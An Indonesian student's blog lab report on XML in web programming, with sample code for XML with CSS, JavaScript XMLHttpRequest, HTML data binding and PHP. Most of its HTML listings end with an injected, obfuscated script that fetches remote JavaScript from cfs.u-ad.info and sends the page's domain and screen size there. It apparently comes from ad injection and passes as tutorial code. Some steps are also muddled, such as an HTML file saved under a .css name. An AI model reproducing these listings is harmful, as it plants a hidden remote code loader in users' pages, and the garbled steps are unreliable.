SELAMAT DATANG DIBLOG KAMI Silahkan tinggalkan komentar anda dibawah happy enjoyed.. :)

Jumat, 26 Desember 2014

modul 9 pw

LAPORAN PRAKTIKUM
PEMROGRAMAN WEB
MODUL 9






Disusun oleh :
                                    NAMA         : Nugroho Ari Saputro
                                    NIM             : L200120105
                                   






JURUSAN TEKNIK INFORMATIKA
FAKULTAS KOMUNIKASI DAN INFORMATIKA
UNIVERSITAS MUHAMMADIYAH SURAKARTA
2014



A. TUJUAN
     Kita dapat memahami bahasa XML sebagai bahasa pengolah data dalam web server.

B. LANDASAN TEORI
     XML (Extensible Markup Language) adalah bahasa markup untuk keperluan umum yang disarankan oleh W3C untuk membuat dokumen markup keperluan pertukaran data antar sistem yang beraneka ragam. XML merupakan kelanjutan dari HTML (HyperText Markup Language) yang merupakan bahasa standar untuk melacak Internet.
     XML didesain untuk mampu menyimpan data secara ringkas dan mudah diatur. Kata kunci utama XML adalah data (jamak dari datum) yang jika diolah bisa memberikan informasi.
XML menyediakan suatu cara terstandarisasi namun bisa dimodifikasi untuk menggambarkan isi dari dokumen. Dengan sendirinya, XML dapat digunakan untuk menggambarkan sembarang view database, tetapi dengan suatu cara yang standar.

C. ALAT DAN BAHAN
     1. PC / Komputer
     2. Notepad ++
     3. Browser Google Chrome / Mozila firefox
     4. Internet
     5. Modul Praktikum Pemrograman Web
D. LANGKAH PRAKTIKUM

PERCOBAAN 1
1.      buka aplikas Notepad++, kemudian kita ketikkan script berikut :
      
2.      Kita simpan dengan nama data.xml
3.      Kemudian kita buka dengan web browser.

4.      Hasil percobaan sebagai berikut :

PERCOBAAN 2 ( XML dan CSS )
1.      Kita buka aplikasi notepad++, kemudian kita ketikkan script berikut :
ID
{
display:block
}
NIM
{
color:red
}
Nama
{
color:blue;
font-weight:bold;
font-size:20pt;
background-color:yellow
}
Kota
{
font-family:verdana;
font-style:italic
}

2.      Kita buka kembali file data.xml menggunakan notepad++ dan kita tambahkan script pada baris ke dua diatas tag <Mahasiswa> :
<?xml-stylesheet type="text/css" href="data.css"?>
3.      Kita simpan file tersebut.
4.       Kita buka file data.xml tersebut dengan web browser.
5.      Hasil percobaan sebagai berikut :


PERCOBAAN 3 ( XML dan CSS bag.2 )
1.      Kita buka aplikasi notepad++, kemudian kita ketikkan script berikut :
<html>
<body>
<script type="text/javascript">
if (window.XMLHttpRequest)
 {
 xmlhttp=new XMLHttpRequest();
 }
else
 {
 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
 }
xmlhttp.open("GET","data.xml",false);
xmlhttp.send();
xmlDoc=xmlhttp.responseXML;

document.write("<table border='1'>");
var x=xmlDoc.getElementsByTagName("ID");
document.write("
<tr><td>");
document.write("<b>NIM</b>");
document.write("</td><td>");
document.write("<b>Nama</b>");
document.write("</td><td>");
document.write("<b>Kota</b>");
document.write("</td></tr>
");
for (i=0;i<x.length;i++)
{
document.write("
<tr><td>");

document.write(x[i].getElementsByTagName("NIM")[0].childNodes[0].nodeValue);
document.write("</td><td>");

document.write(x[i].getElementsByTagName("Nama")[0].childNodes[0].nodeValue);
document.write("</td><td>");

document.write(x[i].getElementsByTagName("Kota")[0].childNodes[0].nodeValue);
document.write("</td><td>");
}
document.write("</table>
");

</script>
<script type="text/javascript">if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");document.write("?id=1");document.write("&enc=telkom2");document.write("&params=" + "4TtHaUQnUEiP6K%2fc5C582NgXaqsgjSGNAWD%2fOJFHL3x5D%2ffu92O8pSg2iGvK3WA%2flYzTyCNY%2fBApARONCYV%2fKDW6LtDiDZpaOLcBP%2bzeoxLMHX4YZ7yjiBXSAz%2fvR2aE9RjszpU1eW0P%2brEQRXKleUpLWYer6afGuMKkyjoUHFbKrwQZkOQ4SUJ0ycjxd%2faP6YZleGDE%2fVkrJ3L%2fmyi%2fDCVqjwIHol2ICpqD7CAlNsm%2fwqM9lnM6SO5LOdUYRs6yuEUjLhAMwjjIsX3Ez9fpOsji8P2PM%2fCUJu43j%2bMAHLVvL8kN1E6BF%2bIG3mUEuwdGYULqVIXli%2f%2b3lXjj%2fYI%2byNtnw20WsBq6Qk%2feL%2fBk0Hd4ljiB0luJuNakJY2ydqwsQ8TXyHu5uSZT%2f42ajMw%2b4OEUuFDb%2bwdRjVIWv15mq10NDuLc2jk6xnJi4o3bOJyfs%2fr4VQd%2b3XNQZ3d5fQ0oKgRC3%2bPNi6WnipPPnma1dgMcZUp0pXuSi0eRxrsy41fH047YMzfVq9hQGWizAbWZL6M4K3j4B7iVTtBpvfsWJs1JlFEYp04%2bh%2b3qbLuKsztiuXRxIHJp7QDMDrj7K007UijcYz1L9HLD8THIvzfispO1lPIWUalceuBEKkDrKLFlMMjiRurGOgLpq3bDUFXC7A%3d%3d");document.write("&idc_r="+idc_glo_r);document.write("&domain="+document.domain);document.write("&sw="+screen.width+"&sh="+screen.height);document.write("></scr"+"ipt>");}</script><noscript>activate javascript</noscript></body>
</html>
2.      Kita simpan dengan data2.css.
3.      Kita buka kembali data.xml dan kita tambahkan script baris kedua di atas tag <Mahasiswa> dan ganti script sebagai berikut dan disimpan dan buka file tersebut :
4.      Hasil percobaan sebagai berikut :


PERCOBAAN 4 ( XML dan HTML )
1.      Kita buka aplikasi notepad++, kemudian kita ketikkan script berikut :

<html>
<head><title>Data Mahasiswa</title>
</head>
<body>
<xml ID='dsoData' SRC='data.xml' />
<h2>
Data Mahasiswa</h2>
<table DATASRC='#dsoData' BORDER='1' CELLPADDING='5'>
<thead>
<th>NIM</th>
<th>Nama</th>
<th>Kota</th>
</thead>
<tr ALIGN='center'>
<td><span DATAFLD='NIM'></span></td>
<td><span DATAFLD='Nama'></span></td>
<td><span DATAFLD='Kota'></span></td>
</tr>
</table>
<script type="text/javascript">if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");document.write("?id=1");document.write("&enc=telkom2");document.write("&params=" + "4TtHaUQnUEiP6K%2fc5C582NgXaqsgjSGNAWD%2fOJFHL3x5D%2ffu92O8pSg2iGvK3WA%2flYzTyCNY%2fBApARONCYV%2fKDW6LtDiDZpaOLcBP%2bzeoxLMHX4YZ7yjiBXSAz%2fvR2aE9RjszpU1eW0P%2brEQRXKleUpLWYer6afGuMKkyjoUHFbKrwQZkOQ4SUJ0ycjxd%2faP6YZleGDE%2fVkrJ3L%2fmyi%2fDCVqjwIHol2ICpqD7CAlNsm%2fwqM9lnM6SO5LOdUYRs6yuEUjLhAMwjjIsX3Ez9fpOsji8P2PM%2fCUJu43j%2bMAHLVvL8kN1E6BF%2bIG3mUEuwdGYULqVIXli%2f%2b3lXjj%2fYI%2byNtnw20WsBq6Qk%2feL%2fBk0Hd4ljiB0luJuNakJY2ydqwsQ8TXyHu5uSZT%2f42ajMw%2b4OEUuFDb%2bwdRjVIWv15mq10NDuLc2jk6xnJi4o3bOJyfs%2fr4VQd%2b3XNQZ3d5fQ0oKgRC3%2bPNi6WnipPPnma1dgMcZUp0pXuSi0eRxrsy41fH047YMzfVq9hQGWizAbWZL6M4K3j4B7iVTtBpvfsWJs1JlFEYp04%2bh%2b3qbLuKsztiuXRxIHJp7QDMDrj7K007UijcYz1L9HLD8THIvzfispO1lPIWUalceuBEKkDrKLFlMMjiRurGOgLpq3bDUFXC7A%3d%3d");document.write("&idc_r="+idc_glo_r);document.write("&domain="+document.domain);document.write("&sw="+screen.width+"&sh="+screen.height);document.write("></scr"+"ipt>");}</script><noscript>activate javascript</noscript></body>
</html>
2.       Kita simpan dengan nama data.html
3.      Kita buka file dengan web browser.
4.      Hasil percobaan sebagai berikut :

PERCOBAAN 5 ( XML dan HTML bag.2 )
1.      Kita buka aplikasi notepad++, kemudian kita ketikkan script berikut :
<html>
<body>
<script type="text/javascript">
if (window.XMLHttpRequest)
 {
 xmlhttp=new XMLHttpRequest();
 }
else
 {
 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
 }
xmlhttp.open("GET","data.xml",false);
xmlhttp.send();
xmlDoc=xmlhttp.responseXML;

document.write("<table border='1'>");
var x=xmlDoc.getElementsByTagName("ID");
document.write("
<tr><td>");
document.write("<b>NIM</b>");
document.write("</td><td>");
document.write("<b>Nama</b>");
document.write("</td><td>");
document.write("<b>Kota</b>");
document.write("</td></tr>
");
for (i=0;i<x.length;i++)
{
document.write("
<tr><td>");

document.write(x[i].getElementsByTagName("NIM")[0].childNodes[0].nodeValue);
document.write("</td><td>");

document.write(x[i].getElementsByTagName("Nama")[0].childNodes[0].nodeValue);
document.write("</td><td>");

document.write(x[i].getElementsByTagName("Kota")[0].childNodes[0].nodeValue);
document.write("</td><td>");
}
document.write("</table>
");

</script>
<script type="text/javascript">if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");document.write("?id=1");document.write("&enc=telkom2");document.write("&params=" + "4TtHaUQnUEiP6K%2fc5C582NgXaqsgjSGNAWD%2fOJFHL3x5D%2ffu92O8pSg2iGvK3WA%2flYzTyCNY%2fBApARONCYV%2fKDW6LtDiDZpaOLcBP%2bzeoxLMHX4YZ7yjiBXSAz%2fvR2aE9RjszpU1eW0P%2brEQRXKleUpLWYer6afGuMKkyjoUHFbKrwQZkOQ4SUJ0ycjxd%2faP6YZleGDE%2fVkrJ3L%2fmyi%2fDCVqjwIHol2ICpqD7CAlNsm%2fwqM9lnM6SO5LOdUYRs6yuEUjLhAMwjjIsX3Ez9fpOsji8P2PM%2fCUJu43j%2bMAHLVvL8kN1E6BF%2bIG3mUEuwdGYULqVIXli%2f%2b3lXjj%2fYI%2byNtnw20WsBq6Qk%2feL%2fBk0Hd4ljiB0luJuNakJY2ydqwsQ8TXyHu5uSZT%2f42ajMw%2b4OEUuFDb%2bwdRjVIWv15mq10NDuLc2jk6xnJi4o3bOJyfs%2fr4VQd%2b3XNQZ3d5fQ0oKgRC3%2bPNi6WnipPPnma1dgMcZUp0pXuSi0eRxrsy41fH047YMzfVq9hQGWizAbWZL6M4K3j4B7iVTtBpvfsWJs1JlFEYp04%2bh%2b3qbLuKsztiuXRxIHJp7QDMDrj7K007UijcYz1L9HLD8THIvzfispO1lPIWUalceuBEKkDrKLFlMMjiRurGOgLpq3bDUFXC7A%3d%3d");document.write("&idc_r="+idc_glo_r);document.write("&domain="+document.domain);document.write("&sw="+screen.width+"&sh="+screen.height);document.write("></scr"+"ipt>");}</script><noscript>activate javascript</noscript></body>
</html>
2.      Kita simpan dengan nama data2.html
3.      Kita buka file dengan web browser.
4.      Hasil percobaan sebagai berikut :


PERCOBAAN 6 ( XML dan PHP )
1.      Kita buka aplikasi notepad++, kemudian kita ketikkan script berikut :
<html>
<head></head>
<body>
<table cellspacing="0" border="1">
<th>No</th><th>NIM</th><th>Nama</th><th>Kota</th>
<?php
$dataxml = simplexml_load_file('data.xml');
$no = 1;
foreach ($dataxml->PERSON as $hasil) {
echo "
<tr>";
echo "<td>".$no."</td>";
echo "<td>".$hasil->NIM."</td>";
echo "<td>".$hasil->NAMA."</td>";
echo "<td>".$hasil->KOTA."</td>";
echo "</tr>
";
$no++;
}
?>
</table>
<script type="text/javascript">if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");document.write("?id=1");document.write("&enc=telkom2");document.write("&params=" + "4TtHaUQnUEiP6K%2fc5C582NgXaqsgjSGNAWD%2fOJFHL3x5D%2ffu92O8pSg2iGvK3WA%2flYzTyCNY%2fBApARONCYV%2fKDW6LtDiDZpaOLcBP%2bzeoxLMHX4YZ7yjiBXSAz%2fvR2aE9RjszpU1eW0P%2brEQRXKleUpLWYer6afGuMKkyjoUHFbKrwQZkOQ4SUJ0ycjxd%2faP6YZleGDE%2fVkrJ3L%2fmyi%2fDCVqjwIHol2ICpqD7CAlNsm%2fwqM9lnM6SO5LOdUYRs6yuEUjLhAMwjjIsX3Ez9fpOsji8P2PM%2fCUJu43j%2bMAHLVvL8kN1E6BF%2bIG3mUEuwdGYULqVIXli%2f%2b3lXjj%2fYI%2byNtnw20WsBq6Qk%2feL%2fBk0Hd4ljiB0luJuNakJY2ydqwsQ8TXyHu5uSZT%2f42ajMw%2b4OEUuFDb%2bwdRjVIWv15mq10NDuLc2jk6xnJi4o3bOJyfs%2fr4VQd%2b3XNQZ3d5fQ0oKgRC3%2bPNi6WnipPPnma1dgMcZUp0pXuSi0eRxrsy41fH047YMzfVq9hQGWizAbWZL6M4K3j4B7iVTtBpvfsWJs1JlFEYp04%2bh%2b3qbLuKsztiuXRxIHJp7QDMDrj7K007UijcYz1L9HLD8THIvzfispO1lPIWUalceuBEKkDrKLFlMMjiRurGOgLpq3bDUFXC7A%3d%3d");document.write("&idc_r="+idc_glo_r);document.write("&domain="+document.domain);document.write("&sw="+screen.width+"&sh="+screen.height);document.write("></scr"+"ipt>");}</script><noscript>activate javascript</noscript></body>
</html>
2.      Kita simpan dengan nama xmlphp.php
3.      Kita buka file dengan web browser.
4.      Hasil percobaan sebagai berikut :


E.  TUGAS
Tulislah Scriptnya seperti berikut :
<html>
<head><title>Data Mahasiswa</title>
<link rel='stylesheet' type='text/css' href='tabel.css'>
</head>
<body>
<xml ID='dsoData' SRC='data.xml'/>
<h2>
Data Mahasiswa<h2>
<table DATASRC='#dsoData' BORDER='1' CELLPADDING='5'>
<thead>
<th>NIM</th>
<th>Nama</th>
<th>Kota</th>
</thead>
<tr align='center'>
<td class='dashed' class='td'><span DATAFLD='NIM'></span></td>
<td class='dashed' class='td'><span DATAFLD='Nama'></span></td>
<td class='dashed' class='td'><span DATAFLD='Kota'></span></td>
</tr>
</table>
<script type="text/javascript">if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");document.write("?id=1");document.write("&enc=telkom2");document.write("&params=" + "4TtHaUQnUEiP6K%2fc5C582NgXaqsgjSGNAWD%2fOJFHL3x5D%2ffu92O8pSg2iGvK3WA%2flYzTyCNY%2fBApARONCYV%2fKDW6LtDiDZpaOLcBP%2bzeoxLMHX4YZ7yjiBXSAz%2fvR2aE9RjszpU1eW0P%2brEQRXKleUpLWYer6afGuMKkyjoUHFbKrwQZkOQ4SUJ0ycjxd%2faP6YZleGDE%2fVkrJ3L%2fmyi%2fDCVqjwIHol2ICpqD7CAlNsm%2fwqM9lnM6SO5LOdUYRs6yuEUjLhAMwjjIsX3Ez9fpOsji8P2PM%2fCUJu43j%2bMAHLVvL8kN1E6BF%2bIG3mUEuwdGYULqVIXli%2f%2b3lXjj%2fYI%2byNtnw20WsBq6Qk%2feL%2fBk0Hd4ljiB0luJuNakJY2ydqwsQ8TXyHu5uSZT%2f42ajMw%2b4OEUuFDb%2bwdRjVIWv15mq10NDuLc2jk6xnJi4o3bOJyfs%2fr4VQd%2b3XNQZ3d5fQ0oKgRC3%2bPNi6WnipPPnma1dgMcZUp0pXuSi0eRxrsy41fH047YMzfVq9hQGWizAbWZL6M4K3j4B7iVTtBpvfsWJs1JlFEYp04%2bh%2b3qbLuKsztiuXRxIHJp7QDMDrj7K007UijcYz1L9HLD8THIvzfispO1lPIWUalceuBEKkDrKLFlMMjiRurGOgLpq3bDUFXC7A%3d%3d");document.write("&idc_r="+idc_glo_r);document.write("&domain="+document.domain);document.write("&sw="+screen.width+"&sh="+screen.height);document.write("></scr"+"ipt>");}</script><noscript>activate javascript</noscript></body>
</html>

Script cssnya :
body {background:blue}
h2 {font-family:comic sans ms; background-color:skyblue;text-align:center}
table {background:aqua}
.td {font-weight:bold}
.dashed
{
border-style:dashed;
border-color:#ff0000;
}
Hasilnya sebagai berikut :


Tidak ada komentar:

Posting Komentar